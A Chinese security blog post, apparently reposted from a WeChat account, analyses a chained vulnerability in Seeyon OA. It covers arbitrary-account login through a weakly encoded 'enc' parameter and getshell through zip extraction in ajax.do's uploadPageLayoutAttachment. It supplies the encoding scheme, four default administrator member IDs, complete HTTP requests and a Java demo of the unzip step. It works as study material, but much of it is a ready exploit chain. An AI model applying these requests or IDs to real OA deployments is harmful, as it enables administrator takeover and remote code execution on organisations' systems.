最新X远OA系列漏洞分析

  • A+
所属分类:代码审计

前言

 

hw已经开始2天啦,期间爆出不少漏洞,这也是一个不错的学习机会,可以学一下大佬的挖洞姿势。远海昨晚熬夜分析了X远的这个组合洞,感觉还是挺不错的,因此就直接发出来供大家学习参考。

另外文末我打算再抽一个赛博回忆录知识星球的免费名额,各位如果喜欢的话请多多关注和转发

正文

看到致远OA出现了漏洞,随笔写下分析文章。经典的组合漏洞。其实只要进了后台,还是有几个方法可以拿到shell的。

本机环境:

Windows 10

Mysql 5.5.37

S1 V1.9.5/Seeyon A8+/V7.0 SP1

一.任意账户登陆分析 最新X远OA系列漏洞分析

根据互联网上的POC来看。漏洞在/thirdpartyController.do"且method为access.

根据xml配置文件确定thirdpartyController.do对应类为com.seeyon.ctp.portal.sso.thirdpartyintegration.controller.ThirdpartyController最新X远OA系列漏洞分析

漏洞分析: 主要问题在于enc参数的加解密上。

    if (request.getParameter("enc") != null) {
      enc = LightWeightEncoder.decodeString(request.getParameter("enc").replaceAll(" ", "+"));
    } else {
      String transcode = URLDecoder.decode(request.getQueryString().split("enc=")[1]);
      enc = (request.getQueryString().indexOf("enc=") > 0) ? LightWeightEncoder.decodeString(transcode) : null;
    } 
    if (enc == null) {
      mv.addObject("ExceptionKey", "mail.read.alert.wuxiao");
      return mv;
    }

如果enc参数的值不为空。则进LightWeightEncoder.decodeString进行解密。这里切入LightWeightEncoder类。 最新X远OA系列漏洞分析定义了两个方法,encodeStringdecodeString.及加密/解密。也就是说,在enc不为空条件下,将其内容传入decodeString方法进行解密。

加解密的规则是将字符通过toCharArray()方法转换为字符数组。 最新X远OA系列漏洞分析然后通过for循环,将每个字符的char值上加一。 最新X远OA系列漏洞分析

如:abcd => char() 97 98 99 100

转换后为:char() 98 99 100 101 => bcde

最后返回base64编码过后的内容。

回到thirdpartyController.do中。看enc解密过后的内容进行了哪些操作。

 Map<String,String> encMap = new HashMap<String, String>();
 String[] enc0 = enc.split("[&]");
    for (String enc1 : enc0) {
      String[] enc2 = enc1.split("[=]");
      if (enc2 != null) {
        String key = enc2[0];
        String value = (enc2.length == 2) ? enc2[1] : null;
        if (null != value) {
          value = URLEncoder.encode(value);
          value = value.replaceAll("%3F", "");
          value = URLDecoder.decode(value);
        } 
        encMap.put(key, value);
      } 
    }

先创建了一个HashMap。然后将enc的内容以&进行分割。在以=分割出keyvalue.后写入encMap中。

也就是说test=123分割后key:test value:123

继续往下:

    String linkType = encMap.get("L");
    //L键指
    String path = encMap.get("P");
     //P键指
    if (Strings.isNotBlank(linkType))//一次判空。 {
      String startTimeStr = "0";//默认值
      if (encMap.containsKey("T")) {
        startTimeStr = encMap.get("T");//T键值
        startTimeStr = startTimeStr.trim();
      } 
      Long timeStamp = Long.valueOf(0L);
      if (NumberUtils.isNumber(startTimeStr)) {
        timeStamp = Long.valueOf(Long.parseLong(startTimeStr));
      } else {
        timeStamp = Long.valueOf(DateUtil.parse(startTimeStr, "yyyy-MM-dd HH:mm:ss").getTime());
      } 
      if ((System.currentTimeMillis() - timeStamp.longValue()) / 1000L > (this.messageMailManager.getContentLinkValidity() * 60 * 60)) {
        mv.addObject("ExceptionKey", "mail.read.alert.guoqi");
        return mv;
      } 
      String _memberId = encMap.get("M");

最新X远OA系列漏洞分析这里注意encMap的使用。主要变量有:linkType,path,startTimeStr,_memberId,ticket

分别取encMap中的:L,P,T,M,C键的值。

startTimeStrT键的值。下方对startTimeStr进行判断,如果是数字,则转换成long类型。如果不是数字,则按照yyyy-MM-dd HH:mm:ss的格式转换为日期。在转换成long类型的时间时间戳。

需要注意下方的if判断,如果System.currentTimeMillis()的值减去startTimeStr在除1000L如果大于getContentLinkValidity() * 60 * 60)的值。则返回超时。这里的getContentLinkValidity我没追到,应该是在消息邮件设置中配置。但返回的是个int类型。这里的startTimeStr的随便传入一个较大的数字就行了。 最新X远OA系列漏洞分析

接着往下走。。。

下方分别对linkType,_memberId的值进行了判空操作以及对link的赋值。

link=(String)UserMessageUtil.getMessageLinkType().get(linkType)

最新X远OA系列漏洞分析

linkType的值有很多。网上的POC大多是message.link.doc.folder.open。这个有很多,具体参考安装目录下的seeyon/WEB-INF/cfgHome/base/message-link.properties文件,随便选一个就可以了。这里不重要,主要是为了让link变量的值不为空。和后面的具体操作没啥关系。

若为空,都会返回mail.read.alert.wuxiao

下面就是关键的几个步骤了,也是漏洞点出现的地方。 最新X远OA系列漏洞分析

如果当前会话中的com.seeyon.current_user为空。那么进入esle

 V3xOrgMember member = this.orgManager.getMemberById(Long.valueOf(memberId));

在else中,通过getMemberById方法查询memberId所对应的用户。如果member不为空。则创建currentUser对象

session.setAttribute("com.seeyon.current_user", currentUser);

在会话中设置用户信息。导致任意账户登陆。

这里的memberId是取的 encMap中的M键值

String _memberId = encMap.get("M");

为可控参数。

该值安装时存在4个默认id。对应不同权限

"5725175934914479521"   "集团管理员"
"-7273032013234748168"  "系统管理员"
"-7273032013234748798"  "系统监控"
"-4401606663639775639"  "审计管理员"

POC:

最新X远OA系列漏洞分析

获取Cookie 最新X远OA系列漏洞分析

测试Cookie是否可用:

最新X远OA系列漏洞分析

GET /seeyon/main.do?method=headerjs&login=-1448586625 HTTP/1.1
Host: 192.168.137.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept: */*
Referer: http://192.168.137.1/seeyon/main.do?method=main
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=<Payload>; loginPageURL=; login_locale=en
Connection: close

二.Getshell

文件上传就直接跳过了(没啥好看的)

这里主要分析ajax.do

POST /seeyon/ajax.do HTTP/1.1
Host: 192.168.10.2
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=BDF7358D4C35C6D2BB99FADFEE21F913
Content-Length: 157

method=ajaxAction&managerName=portalDesignerManager&managerMethod=uploadPageLayoutAttachment&arguments=%5B0%2C%222021-04-09%22%2C%225818374431215601542%22%5D

method=ajaxAction,managerName=portalDesignerManager,managerMethod=uploadPageLayoutAttachment

参数:

arguments=[0,"2021-04-09","5818374431215601542"]

这里需要注意:

ajax.do下的ajaxAction是通过invokeService方法是调用一些服务 最新X远OA系列漏洞分析最新X远OA系列漏洞分析

POC中managerNameportalDesignerManager.当前环境A8+/V7.0SP1中,没有找到这个类。于是去低版本中扒了一个。(低版本才存在这个漏洞。具体影响版本未知)。

jar包为:seeyon-ctp-portal.jar

managerMethod=uploadPageLayoutAttachment

最新X远OA系列漏洞分析

传递的参数为:

arguments=[0,"2021-04-09","5818374431215601542"]

attchmentIdStr=0
createDate=2021-04-09
fileUrl=5818374431215601542

rootPath为上传时产生的文件夹。(日期命名 年-月-日)

String rootPath = this.fileManager.getFolder(Datetimes.parse(createDate, "yyyy-MM-dd"), false);

fileUrl为上传时返回的 fileid

后面直接使用ZipUtil进行解压

        String filePath = rootPath + File.separator + fileUrl;
        File zipFile = new File(filePath);
        String pageLayoutId = String.valueOf(UUIDLong.longUUID());
        String relativePath = File.separator + "common/designer/pageLayout" + File.separator + pageLayoutId + File.separator;
        String uploadPageLayoutPath = pageLayoutRootPath + relativePath;
        File unzipDirectory = new File(uploadPageLayoutPath);
        ZipUtil.unzip(zipFile, unzipDirectory);

解压后的路径是common/designer/pageLayout+一层uuid。这里可以尝试跨目录。

参考文章:https://www.o2oxy.cn/3394.html

由于本地环境太新了。。。没这个漏洞,所以,我把所需要的jar包导出来本地写了个demo

import com.seeyon.ctp.common.SystemEnvironment;
import com.seeyon.ctp.util.UUIDLong;
import com.seeyon.ctp.util.ZipUtil;

import java.io.File;
import java.io.IOException;

public class main {
public static void main(String[] args) throws IOException {
String pageLayoutRootPath = SystemEnvironment.getApplicationFolder();
String fileUrl="1.zip";
String rootPath = "/Users/yuanhai/Desktop/Seeyon/2021-4-11";
String filePath = rootPath + File.separator + fileUrl;
File zipFile = new File(filePath);
String pageLayoutId = String.valueOf(UUIDLong.longUUID());
String relativePath = File.separator + "common/designer/pageLayout" + File.separator + pageLayoutId + File.separator;
String uploadPageLayoutPath = pageLayoutRootPath + relativePath;
File unzipDirectory = new File(uploadPageLayoutPath);
ZipUtil.unzip(zipFile, unzipDirectory);
}
}

 

最新X远OA系列漏洞分析

文件正常解压,可getshell。

分析到此结束。


 

抽奖环节

关注加转发即可哈

最新X远OA系列漏洞分析

 

本文始发于微信公众号(赛博回忆录):最新X远OA系列漏洞分析

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: